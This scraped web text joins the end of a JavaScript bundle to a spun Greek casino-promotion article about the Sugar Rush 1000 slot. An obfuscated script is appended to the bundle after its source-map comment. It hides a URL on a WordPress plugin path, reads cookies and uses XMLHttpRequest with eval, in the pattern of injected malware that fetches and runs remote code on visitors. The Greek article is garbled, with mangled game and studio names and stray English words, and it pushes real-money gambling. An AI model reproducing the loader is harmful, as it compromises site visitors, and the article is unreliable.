null == arr ? null : "undefined" != typeof Symbol && arr[Symbol.iterator] || arr["@@iterator"]; if (null != _i) { var _s, _e, _x, _r, _arr = [], _n = !0, _d = !1; try { if (_x = (_i = _i.call(arr)).next, 0 === i) { if (Object(_i) !== _i) return; _n = !1; } else for (; !(_n = (_s = _x.call(_i)).done) && (_arr.push(_s.value), _arr.length !== i); _n = !0); } catch (err) { _d = !0, _e = err; } finally { try { if (!_n && null != _i["return"] && (_r = _i["return"](), Object(_r) !== _r)) return; } finally { if (_d) throw _e; } } return _arr; } } module.exports = _iterableToArrayLimit, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/nonIterableRest.js": /*!*****************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/nonIterableRest.js ***! \*****************************************************************/ /***/ ((module) => { function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } module.exports = _nonIterableRest, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/slicedToArray.js": /*!***************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/slicedToArray.js ***! \***************************************************************/ /***/ ((module, __unused_webpack_exports, __webpack_require__) => { var arrayWithHoles = __webpack_require__(/*! ./arrayWithHoles.js */ "../node_modules/@babel/runtime/helpers/arrayWithHoles.js"); var iterableToArrayLimit = __webpack_require__(/*! ./iterableToArrayLimit.js */ "../node_modules/@babel/runtime/helpers/iterableToArrayLimit.js"); var unsupportedIterableToArray = __webpack_require__(/*! ./unsupportedIterableToArray.js */ "../node_modules/@babel/runtime/helpers/unsupportedIterableToArray.js"); var nonIterableRest = __webpack_require__(/*! ./nonIterableRest.js */ "../node_modules/@babel/runtime/helpers/nonIterableRest.js"); function _slicedToArray(arr, i) { return arrayWithHoles(arr) || iterableToArrayLimit(arr, i) || unsupportedIterableToArray(arr, i) || nonIterableRest(); } module.exports = _slicedToArray, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/unsupportedIterableToArray.js": /*!****************************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/unsupportedIterableToArray.js ***! \****************************************************************************/ /***/ ((module, __unused_webpack_exports, __webpack_require__) => { var arrayLikeToArray = __webpack_require__(/*! ./arrayLikeToArray.js */ "../node_modules/@babel/runtime/helpers/arrayLikeToArray.js"); function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return arrayLikeToArray(o, minLen); } module.exports = _unsupportedIterableToArray, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }) }]); //# sourceMappingURL=6ed74dd3befaff90b65c.bundle.js.map;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//smazimoddin.com/blog/wp-content/plugins/bunyad-amp/back-compat/templates-v0-3/templates-v0-3.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B Sugar Rush 1000 Slot Από Την Sensible Play Παίξτε Demonstration Δωρεάν" -

„Sugars Rush Demo Παίξτε Δωρεάν Τώρα! Slot

Content

Πολλαπλά σημεία πολλαπλασιαστή μπορούν να συνδυαστούν, οδηγώντας σε δυνητικά τεράστιες πληρωμές. Στρατηγικά, θέλετε να στοχεύετε σε νίκες που ενεργοποιούν πολλαπλά Multiplier Locations και στη συνέχεια να ελπίζετε σε διαδοχικές νίκες για να χτίσετε αυτούς τους πολλαπλασιαστές. Ψάχνετε να ζήσετε τον ζαχαρένιο ενθουσιασμό του Sugar Rush multitude of χωρίς να ρισκάρετε το πορτοφόλι σας; Είστε τυχεροί! Το demo του Sweets Rush 1000 είναι διαθέσιμο ακριβώς στην κορυφή αυτής της σελίδας, προσφέροντάς σας έναν τρόπο χωρίς ρίσκο να εξερευνήσετε αυτόν τον απολαυστικό κουλοχέρη. Παίζοντας το demo του Glucose Rush 1000 μπορείτε να εξοικειωθείτε με τον μοναδικό μηχανισμό πληρωμών συστάδων του παιχνιδιού, τους κυλιόμενους κυλίνδρους και τα σημεία πολλαπλασιασμού χωρίς να ξοδέψετε ούτε μια δεκάρα. Είναι μια εξαιρετική ευκαιρία να αναπτύξετε τη στρατηγική σας, να κατανοήσετε τη μεταβλητότητα και να αποκτήσετε μια αίσθηση της συχνότητας των μπόνους χαρακτηριστικών.

  • Επίσης, δώστε ιδιαίτερη προσοχή“ „στο σύμβολο scatter της μηχανής τσίχλας, καθώς αυτό είναι το εισιτήριό σας για την προσοδοφόρα λειτουργία δωρεάν περιστροφών.
  • Αν ορίσετε το στοίχημά σας σε 100 φορές και στη συνέχεια προσγειώνετε τυχαία 3, 4, 5, 6 ή 7 σύμβολα spread που ενεργοποιούν το παιχνίδι μπόνους.
  • Το πλέγμα 7×7 του παιχνιδιού είναι γεμάτο με μια ποικιλία από αρκουδάκια, ζελέδες και διάφορες γλυκές λιχουδιές, δημιουργώντας μια ατμόσφαιρα που θυμίζει μια φανταστική καραμέλα.
  • Αυτός ο κουλοχέρης με θέμα τις καραμέλες από την Practical Play είναι μια γιορτή για τις αισθήσεις, με ένα ζωντανό τοπίο γεμάτο με λόφους από ζάχαρη, γλειφιτζούρια, στροβιλισμούς καραμέλας, ακόμα και ένα μηχάνημα τσίχλας με πύραυλο.

Και γενικά για εμάς η demonstration έκδοση είναι εξαιρετικός παράγοντας για τη λήψη της απόφασης για να αναλάβετε το χρηματικό ρίσκο παίζοντας ορισμένο κουλοχέρη. Έχουν τεράστιες συλλογές με κουλοχέρηδες, συμπεριλαμβανομένου και το Sugars Rush συν υποδέχονται τους νέους παίκτες με πολύ ενδιαφέρουσες προσφορές. Κατά τα άλλα τα γραφικά, πλοκή και ήχος δεν μπορούμε να πούμε πως είναι κάτι ιδιαίτερο και δεν το έχουμε ξαναδεί ποτέ κάπου αλλού. Οι χαμηλότερες πληρωμές ξεκινάνε με πορτοκαλί, μωβ και κόκκινες καραμέλες – η προσγείωση των 15 ή περισσότερων του ίδιου τύπου πληρώνει μεταξύ 20Χ και 30Χ επί του στοιχήματος.“ https://www.sugar-rush-gr-demo.gr/

Sugar Rush: Δωρεάν Παιχνίδι Ή Παιχνίδι Για Χρήματα

Να θυμάστε ότι το μέγεθος του πονταρίσματός σας θα επηρεάσει άμεσα τα πιθανά κέρδη σας, καθώς όλες οι πληρωμές πολλαπλασιάζονται με το ποντάρισμά σας ανά περιστροφή. Αν είστε έτοιμοι να βουτήξετε στον γλυκό κόσμο του Sugar Dash 1000 και να παίξετε με αληθινά χρήματα, έχουμε μερικές εξαιρετικές προτάσεις καζίνο για εσάς. Αυτά τα κορυφαία διαδικτυακά καζίνο όχι μόνο διαθέτουν το Sweets Rush 1000 στις βιβλιοθήκες“ „παιχνιδιών τους, αλλά προσφέρουν επίσης δελεαστικά μπόνους καλωσορίσματος για να ενισχύσουν το αρχικό σας bankroll. Από γενναιόδωρα μπόνους κατάθεσης μέχρι δωρεάν περιστροφές, αυτά τα καζίνο παρέχουν μεγάλη αξία για νέους παίκτες που επιθυμούν να μεγιστοποιήσουν την εμπειρία τους στο παιχνίδι.

  • Κατά τη διάρκεια των δωρεάν περιστροφών, τα σημεία πολλαπλασιαστή παραμένουν ενεργά καθ’ όλη τη διάρκεια του γύρου μπόνους και δεν επαναφέρονται μεταξύ των περιστροφών.
  • Το παιχνίδι διαθέτει επίσης ένα ειδικό σύμβολο scatter πυραύλων, το οποίο είναι το κλειδί για την ενεργοποίηση του γύρου μπόνους δωρεάν περιστροφών.
  • Οι παίκτες θα συναντήσουν διάφορες καραμέλες και ζελέ σε διάφορα σχήματα και χρώματα, όπως πορτοκαλί, μοβ και κόκκινες καραμέλες, καθώς και πράσινα αστέρια, μοβ ζελεδάκια, πορτοκαλί καρδιές και ροζ μπάλες.

Καθώς παίζετε, παρακολουθείτε το bankroll σας και προσαρμόζετε τη στρατηγική πονταρίσματος αναλόγως. Είναι συνετό να ξεκινήσετε με μικρότερα στοιχήματα μέχρι να νιώσετε άνετα με τους μηχανισμούς του παιχνιδιού και στη συνέχεια να αυξήσετε σταδιακά τα πονταρίσματά σας όπως επιθυμείτε. Το Sugar Rush 1000 είναι ένας κουλοχέρης υψηλής μεταβλητότητας, πράγμα που σημαίνει ότι μπορεί να έχει μεγάλες περιόδους χωρίς σημαντικά κέρδη, ακολουθούμενες από δυνητικά μεγάλες πληρωμές. Εξετάστε το ενδεχόμενο να κάνετε διαλείμματα ή να εξαργυρώσετε ένα μέρος των κερδών σας εάν πετύχετε μια σημαντική πληρωμή. Εάν προσγειώσετε 3 ή περισσότερα σύμβολα scatter, ενεργοποιείται η λειτουργία δωρεάν περιστροφών.

Σύμβολα

Κάθε φορά που σχηματίζεται γραμμή πληρωμής σε ένα σημείο του πολλαπλασιαστή, η αξία του διπλασιάζεται, και φτάνει σε έως και 128X ανά θέση. Για να ξεκινήσετε με το Sugar Hurry 1000, ακολουθήστε αυτόν τον απλό βήμα προς βήμα οδηγό που θα σας καθοδηγήσει στους μηχανισμούς παιχνιδιού και τα χαρακτηριστικά αυτού του συναρπαστικού κουλοχέρη με θέμα τις καραμέλες. Η κατανόηση του τρόπου πλοήγησης στο παιχνίδι θα βελτιώσει την εμπειρία σας και θα αυξήσει τις πιθανότητες νίκης σας. Ναι, μπορείτε να παίξετε δωρεάν το demo Sugar Rush 1000 στην κορυφή πολλών σελίδων αναθεώρησης (οι παίκτες του Ηνωμένου Βασιλείου πρέπει πρώτα να επιβεβαιώσουν την ηλικία τους). Αυτό σας επιτρέπει να δοκιμάσετε στρατηγικές και να“ „εξοικειωθείτε με τους μηχανισμούς του παιχνιδιού χωρίς να ρισκάρετε πραγματικά χρήματα. Τα σύμβολα όπως, ένα πράσινο αστέρι, μωβ φασόλι, πορτοκαλί καρδιά και ροζ μπάλα όταν εμφανιστούν 15 ή περισσότερα του ίδιου τύπου, φέρνουν πληρωμή από 40Χ έως 150Χ.

  • Είναι ένα θέμα που απευθύνεται σε όλους τους γλυκατζήδες, ξυπνώντας αναμνήσεις από παιδικές λιχουδιές και τη χαρά της απόλαυσης της ζαχαρένιας καλοσύνης.
  • Αυτό σας επιτρέπει να δοκιμάσετε στρατηγικές και να“ „εξοικειωθείτε με τους μηχανισμούς του παιχνιδιού χωρίς να ρισκάρετε πραγματικά χρήματα.
  • Αυτό το σύστημα επιτρέπει πολλαπλά κέρδη σε μία μόνο περιστροφή και λειτουργεί σε συνδυασμό με τη λειτουργία tumble για τη δημιουργία αλυσιδωτών αντιδράσεων γλυκών νικών.

Το Sugar Rush a thousand χρησιμοποιεί έναν μηχανισμό πληρωμών κατά συστάδες αντί των παραδοσιακών γραμμών πληρωμής. Οι παίκτες πρέπει να τοποθετήσουν ομάδες από 5 ή περισσότερα ίδια σύμβολα οπουδήποτε στο πλέγμα 7×7 για να δημιουργήσουν νικηφόρους συνδυασμούς. Αυτό το σύστημα επιτρέπει πολλαπλά κέρδη σε μία μόνο περιστροφή και λειτουργεί σε συνδυασμό με τη λειτουργία tumble για τη δημιουργία αλυσιδωτών αντιδράσεων γλυκών νικών. Όσο μεγαλύτερη είναι η συστάδα, τόσο μεγαλύτερη είναι η πληρωμή, ενώ οι συστάδες από 12-15 ή περισσότερα σύμβολα προσφέρουν τις υψηλότερες απολαβές.

Βήμα 1: Ορίστε Το Στοίχημά Σας

Αυτός ο κουλοχέρης με θέμα τις καραμέλες από την Sensible Play είναι μια γιορτή για τις αισθήσεις, με ένα ζωντανό τοπίο γεμάτο με λόφους από ζάχαρη, γλειφιτζούρια, στροβιλισμούς καραμέλας, ακόμα και ένα μηχάνημα τσίχλας με πύραυλο. Το πλέγμα 7×7 του παιχνιδιού είναι γεμάτο με μια ποικιλία από αρκουδάκια, ζελέδες και διάφορες γλυκές λιχουδιές, δημιουργώντας μια ατμόσφαιρα που θυμίζει μια φανταστική καραμέλα. Είναι ένα θέμα που απευθύνεται σε όλους τους γλυκατζήδες, ξυπνώντας αναμνήσεις από παιδικές λιχουδιές και τη χαρά της απόλαυσης της ζαχαρένιας καλοσύνης. Το παιχνίδι σας επιτρέπει να επιλέξετε ένα ελάχιστο ποντάρισμα 0, something like 20 κερμάτων και ένα μέγιστο ποντάρισμα hundred κερμάτων ανά περιστροφή.

  • Ανάλογα με το αν προσγειώσετε three or more, 4, 5, 6 ή 7 σύμβολα scatter θα έχει ως αποτέλεσμα να λάβετε 10, twelve, 15, 20 ή 30 δωρεάν περιστροφές αντίστοιχα.
  • Αυτό συνεχίζεται όσο δημιουργούνται νέες νίκες και ενεργοποιείται η δυνατότητα πολλαπλασιαστικών σημείων.
  • Οι κύλινδροι του Sweets Rush 1000 είναι γεμάτοι με μια ποικιλία από πολύχρωμα σύμβολα καραμέλας που ταιριάζουν απόλυτα“ „με το ζαχαρούχο θέμα του παιχνιδιού.
  • Αυτή η λειτουργία επιτρέπει στους παίκτες να έχουν άμεση πρόσβαση στα πιο συναρπαστικά στοιχεία του παιχνιδιού, αν και είναι σημαντικό να σημειωθεί ότι ενδέχεται να μην είναι διαθέσιμη σε όλες τις δικαιοδοσίες.

Προσέξτε για πρόσθετα scatter κατά τη διάρκεια των δωρεάν περιστροφών, καθώς μπορείτε να ενεργοποιήσετε εκ νέου τη λειτουργία και να επεκτείνετε τον γύρο μπόνους, οδηγώντας ενδεχομένως σε ακόμη μεγαλύτερα κέρδη. Το Sugar Rush a thousand διαθέτει μια σειρά από πολύχρωμα σύμβολα καραμέλας, όπως αρκουδάκια, ζελεδάκια, καρδιές και αστέρια. Κάθε σύμβολο έχει τη δική του αξία πληρωμής, την οποία μπορείτε να βρείτε στον πίνακα πληρωμών. Επίσης, δώστε ιδιαίτερη προσοχή“ „στο σύμβολο scatter της μηχανής τσίχλας, καθώς αυτό είναι το εισιτήριό σας για την προσοδοφόρα λειτουργία δωρεάν περιστροφών.

Χαρακτηριστικά Κουλοχέρη Sugar Dash 1000

Χρησιμοποιήστε τα πλήκτρα συν και πλην στη διεπαφή στοιχημάτων για να επιλέξετε το επιθυμητό ποντάρισμα. Είναι ζωτικής σημασίας να λάβετε υπόψη σας την υψηλή μεταβλητότητα του παιχνιδιού κατά τον καθορισμό του πονταρίσματός σας. Μια καλή στρατηγική είναι να ξεκινήσετε με μικρότερα πονταρίσματα για να αποκτήσετε μια αίσθηση του ρυθμού του παιχνιδιού και της συχνότητας των πληρωμών.

  • Μπορείτε επίσης να χρησιμοποιήσετε τη λειτουργία αυτόματης αναπαραγωγής, αν προτιμάτε να αφήσετε το παιχνίδι να περιστραφεί αυτόματα για έναν καθορισμένο αριθμό γύρων.
  • Τα σύμβολα όπως, ένα πράσινο αστέρι, μωβ φασόλι, πορτοκαλί καρδιά και ροζ μπάλα όταν εμφανιστούν 15 ή περισσότερα του ίδιου τύπου, φέρνουν πληρωμή από 40Χ έως 150Χ.
  • Οι χαμηλότερες πληρωμές ξεκινάνε με πορτοκαλί, μωβ και κόκκινες καραμέλες – η προσγείωση των 15 ή περισσότερων του ίδιου τύπου πληρώνει μεταξύ 20Χ και 30Χ επί του στοιχήματος.“
  • Αφού ορίσετε το ποντάρισμά σας και κατανοήσετε τα σύμβολα, ήρθε η ώρα να γυρίσετε τους τροχούς.
  • Τα κερδοφόρα σμήνη θα εκραγούν, επιτρέποντας σε νέα σύμβολα να πέσουν κάτω και ενδεχομένως να δημιουργήσουν περαιτέρω κέρδη.
  • Παίζοντας το demo του Sugar Rush 1000 μπορείτε να εξοικειωθείτε με τον μοναδικό μηχανισμό πληρωμών συστάδων του παιχνιδιού, τους κυλιόμενους κυλίνδρους και τα σημεία πολλαπλασιασμού χωρίς να ξοδέψετε ούτε μια δεκάρα.

Το κλειδί της επιτυχίας σε αυτό το παιχνίδι είναι ο σχηματισμός μεγάλων συστάδων, καθώς οι μεγαλύτερες ομάδες ταιριαστών συμβόλων οδηγούν σε υψηλότερες πληρωμές. Έχετε το νου σας για ευκαιρίες σύνδεσης συμβόλων και δημιουργίας εκτεταμένων συμπλεγμάτων σε όλο το πλέγμα. Το Sugar Rush a thousand είναι γεμάτο με μια ποικιλία από γλυκά χαρακτηριστικά που κάνουν κάθε περιστροφή μια συναρπαστική περιπέτεια. Από κυλιόμενους κυλίνδρους μέχρι σημεία πολλαπλασιαστών και δωρεάν περιστροφές, αυτός ο κουλοχέρης προσφέρει μια σειρά από μηχανισμούς που έχουν σχεδιαστεί για να ενισχύουν τις δυνατότητες νίκης σας και να σας κρατούν απασχολημένους. Ας βουτήξουμε στην απολαυστική σειρά χαρακτηριστικών που κάνουν αυτό το παιχνίδι μια πραγματική ζαχαρένια“ „βιασύνη. Τα γραφικά είναι φωτεινά, χαρούμενα και ξεχειλίζουν από ζαχαρένιες λεπτομέρειες που ζωντανεύουν τον κόσμο των γλυκών.

Θέμα

Όταν χρησιμοποιείτε το αυτόματο παιχνίδι, βεβαιωθείτε ότι έχετε ορίσει όρια απωλειών και κερδών για να διαχειριστείτε αποτελεσματικά το bankroll σας. Κάθε περιστροφή στο Sugar Rush a thousand είναι μια ευκαιρία για πολλαπλά κέρδη λόγω της λειτουργίας των τροχών που ανατρέπονται, οπότε παρακολουθήστε προσεκτικά την εξέλιξη της δράσης. Τα νικητήρια σύμβολα εκρήγνυνται και εξαφανίζονται από το πλέγμα, επιτρέποντας σε νέα σύμβολα να πέσουν από πάνω. Αυτή η διαδικασία συνεχίζεται όσο σχηματίζονται νέα νικηφόρα συμπλέγματα, οδηγώντας ενδεχομένως σε πολλαπλά διαδοχικά κέρδη από μία μόνο περιστροφή. Η λειτουργία Tumble είναι το κλειδί για την ενεργοποίηση και την ενίσχυση των σημείων πολλαπλασιασμού του παιχνιδιού. Δεν είναι ασυνήθιστο να βλέπετε αρκετές τούμπες στη σειρά, κάθε μία από τις οποίες βασίζεται στην προηγούμενη και αυξάνει τη συνολική δυνατότητα κέρδους.

  • Αυτή η λειτουργία είναι ιδιαίτερα συναρπαστική επειδή μπορεί να οδηγήσει σε εκθετική αύξηση των κερδών.
  • Είναι ζωτικής σημασίας να λάβετε υπόψη σας την υψηλή μεταβλητότητα του παιχνιδιού κατά τον καθορισμό του πονταρίσματός σας.
  • Ξεκινούν από two times και διπλασιάζονται με κάθε επόμενη νίκη που περιλαμβάνει το συγκεκριμένο σημείο.
  • Είναι μια εξαιρετική ευκαιρία να αναπτύξετε τη στρατηγική σας, να κατανοήσετε τη μεταβλητότητα και να αποκτήσετε μια αίσθηση της συχνότητας των μπόνους χαρακτηριστικών.
  • Από γενναιόδωρα μπόνους κατάθεσης μέχρι δωρεάν περιστροφές, αυτά τα καζίνο παρέχουν μεγάλη αξία για νέους παίκτες που επιθυμούν να μεγιστοποιήσουν την εμπειρία τους στο παιχνίδι.

Κάθε σύμβολο είναι σχολαστικά σχεδιασμένο, από τα ζαχαρωτά αρκουδάκια με τα ξεχωριστά τους χρώματα μέχρι τα λαμπερά κομμάτια καραμέλας. Το φόντο παρουσιάζει ένα ονειρικό τοπίο από καραμέλες που προσθέτει βάθος στη συνολική οπτική εμπειρία. Τα εντυπωσιακά γραφικά συνοδεύονται από ένα παιχνιδιάρικο soundtrack με καμπάνες και σφυρίγματα που συμπληρώνουν τέλεια το ιδιόρρυθμο θέμα. Συνολικά, η οπτικοακουστική παρουσίαση του Sugar Rush 1000 δημιουργεί ένα καθηλωτικό περιβάλλον που ενισχύει τον ενθουσιασμό κάθε περιστροφής. Αφού ορίσετε το ποντάρισμά σας και κατανοήσετε τα σύμβολα, ήρθε η ώρα να γυρίσετε τους τροχούς. Μπορείτε επίσης να χρησιμοποιήσετε τη λειτουργία αυτόματης αναπαραγωγής, αν προτιμάτε να αφήσετε το παιχνίδι να περιστραφεί αυτόματα για έναν καθορισμένο αριθμό γύρων.

Βήμα Three Or More: Περιστρέψτε Τους Τροχούς

Αξίζει να σημειωθεί ότι το Sugar Rush multitude of δεν περιλαμβάνει σύμβολο μπαλαντέρ, βασιζόμενο αντ’ αυτού στον μηχανισμό πληρωμών συστάδων και στα σημεία πολλαπλασιαστών για τη δημιουργία νικηφόρων συνδυασμών και την ενίσχυση των πληρωμών. Η προσγείωση τριών ή περισσότερων συμβόλων scatter (η μηχανή τσίχλας) θα ενεργοποιήσει τη λειτουργία δωρεάν περιστροφών. Μπορείτε να κερδίσετε από 10 έως 30 δωρεάν περιστροφές, ανάλογα με το πόσα scatter θα πετύχετε. Κατά τη διάρκεια αυτού του γύρου, τα σημεία πολλαπλασιαστή παραμένουν ενεργά, ενισχύοντας τις δυνατότητές σας για μεγάλα κέρδη. Τα επίμονα σημεία πολλαπλασιαστή μπορούν να οδηγήσουν σε εκθετική αύξηση των κερδών καθώς εξελίσσεται ο γύρος μπόνους.

  • Τα εντυπωσιακά γραφικά συνοδεύονται από ένα παιχνιδιάρικο soundtrack με καμπάνες και σφυρίγματα που συμπληρώνουν τέλεια το ιδιόρρυθμο θέμα.
  • Κατά τα άλλα τα γραφικά, πλοκή και ήχος δεν μπορούμε να πούμε πως είναι κάτι ιδιαίτερο και δεν το έχουμε ξαναδεί ποτέ κάπου αλλού.
  • Η κατανόηση του τρόπου πλοήγησης στο παιχνίδι θα βελτιώσει την εμπειρία σας και θα αυξήσει τις πιθανότητες νίκης σας.

Ενώ ο πυρήνας του παιχνιδιού παραμένει παρόμοιος με τον προκάτοχό του, η ενισχυμένη δυνατότητα κερδών και η δυνατότητα εξαγοράς των λειτουργιών μπόνους το καθιστούν μια ελκυστική επιλογή για παίκτες με υψηλό ρίσκο και υψηλές απολαβές. Ωστόσο, οι νεοεισερχόμενοι σε κουλοχέρηδες με υψηλή μεταβλητότητα θα πρέπει να προσεγγίζουν με προσοχή και να διαχειρίζονται με σύνεση το bankroll τους. Οι κύλινδροι του Sugar Rush 1000 είναι γεμάτοι με μια ποικιλία από πολύχρωμα σύμβολα καραμέλας που ταιριάζουν απόλυτα“ „με το ζαχαρούχο θέμα του παιχνιδιού. Οι παίκτες θα συναντήσουν διάφορες καραμέλες και ζελέ σε διάφορα σχήματα και χρώματα, όπως πορτοκαλί, μοβ και κόκκινες καραμέλες, καθώς και πράσινα αστέρια, μοβ ζελεδάκια, πορτοκαλί καρδιές και ροζ μπάλες. Το σύμβολο της ροζ μπάλας είναι το σύμβολο με τις υψηλότερες πληρωμές, προσφέροντας έως και a hundred and fifty φορές το ποντάρισμα για ομάδες από 15 ή περισσότερες. Το παιχνίδι διαθέτει επίσης ένα ειδικό σύμβολο scatter πυραύλων, το οποίο είναι το κλειδί για την ενεργοποίηση του γύρου μπόνους δωρεάν περιστροφών.

Sugar Rush: Τι Πιστεύουμε Γι΄αυτό Τελικά

Ωστόσο, είναι σημαντικό να χρησιμοποιήσετε αυτή τη λειτουργία με υπευθυνότητα και εντός του προϋπολογισμού σας, καθώς απαιτεί μια σημαντική αρχική επένδυση. Όταν μια θέση συμβόλου συμβάλλει σε ένα κέρδος για δεύτερη φορά κατά τη διάρκεια μιας ακολουθίας ανατροπών, μετατρέπεται σε σημείο πολλαπλασιαστή“ „που ξεκινάει με 2x. Με κάθε επόμενη νίκη που περιλαμβάνει αυτό το σημείο, ο πολλαπλασιαστής διπλασιάζεται, φτάνοντας δυνητικά το εκπληκτικό 1. 024x.

  • Η προσγείωση τριών ή περισσότερων συμβόλων scatter (η μηχανή τσίχλας) θα ενεργοποιήσει τη λειτουργία δωρεάν περιστροφών.
  • Εάν ένας άλλος νικηφόρος“ „συνδυασμός εμφανιστεί στην ίδια θέση κατά τη διάρκεια των επόμενων περιστροφών, θα αυξήσει την τιμή του πολλαπλασιαστή.
  • Ωστόσο, είναι σημαντικό να χρησιμοποιήσετε αυτή τη λειτουργία με υπευθυνότητα και εντός του προϋπολογισμού σας, καθώς απαιτεί μια σημαντική αρχική επένδυση.
  • „Η προσγείωση 3 ή περισσότερων συμβόλων spread (που αντιπροσωπεύονται από μηχανές τσίχλας) ενεργοποιεί τη λειτουργία δωρεάν περιστροφών.

Οι σούπερ δωρεάν περιστροφές, οι οποίες ξεκινούν με προκαθορισμένους πολλαπλασιαστές στο πλέγμα, μπορούν να εξαγοραστούν με 500x το ποντάρισμα. Στη συνέχεια, όλα τα σύμβολα που ήταν μέρος του νικητηρίου συνδυασμού θα εξαφανιστούν από τους κυλίνδρους και νέα σύμβολα θα πέσουν για να καλύψουν τις κενές θέσεις. Αυτό συνεχίζεται όσο δημιουργούνται νέες νίκες και ενεργοποιείται η δυνατότητα πολλαπλασιαστικών σημείων. Μπορείτε να παίξετε το Sugar Rush one thousand σε διάφορα online καζίνο που προσφέρουν παιχνίδια Pragmatic Perform. Πολλοί ιστότοποι αναθεώρησης παρέχουν λίστες με επαληθευμένα καζίνο που διαθέτουν το Glucose Rush 1000, συχνά με μπόνους καλωσορίσματος για νέους παίκτες.

Πλεονεκτήματα Και Μειονεκτήματα Του Sugar Rush 1000

Ελέγξτε την επιμελημένη λίστα των καζίνο μας παρακάτω για να βρείτε το ιδανικό μέρος για να ξεκινήσετε την περιπέτεια Sugar Hurry 1000 με μερικά επιπλέον γλυκαντικά. Μπορείτε να ενεργοποιήσετε τη δυνατότητα δωρεάν περιστροφών απευθείας χρησιμοποιώντας τη λειτουργία αγοράς μπόνους. Αν ορίσετε το στοίχημά σας σε 100 φορές και στη συνέχεια προσγειώνετε τυχαία 3, 5, 5, 6 ή 7 σύμβολα spread που ενεργοποιούν το παιχνίδι μπόνους. Όταν δημιουργείτε ένα νικητήριο σύμπλεγμα, όλα τα σύμβολα θα αφήσουν πίσω τους πολλαπλασιαστικές θέσεις και εάν στη συνέχεια δημιουργήσετε νέα νίκη πάνω από τα σημεία πολλαπλασιαστή, αυτές οι θέσεις θα λάβουν έναν πολλαπλασιαστή 2Χ.

  • Στη συνέχεια, όλα τα σύμβολα που ήταν μέρος του νικητηρίου συνδυασμού θα εξαφανιστούν από τους κυλίνδρους και νέα σύμβολα θα πέσουν για να καλύψουν τις κενές θέσεις.
  • Η λειτουργία Added bonus Buy είναι ιδιαίτερα ελκυστική για τους παίκτες που απολαμβάνουν το παιχνίδι υψηλής μεταβλητότητας και θέλουν να βιώνουν συχνότερα τον ενθουσιασμό του γύρου δωρεάν περιστροφών.
  • Το Sugar Rush 1000 διαθέτει μια σειρά από πολύχρωμα σύμβολα καραμέλας, όπως αρκουδάκια, ζελεδάκια, καρδιές και αστέρια.
  • Αυτοί οι πολλαπλασιαστές μπορούν να αυξηθούν σημαντικά, φτάνοντας έως και just one. 024x κατά τη διάρκεια του παιχνιδιού.
  • Και γενικά για εμάς η demonstration έκδοση είναι εξαιρετικός παράγοντας για τη λήψη της απόφασης για να αναλάβετε το χρηματικό ρίσκο παίζοντας ορισμένο κουλοχέρη.
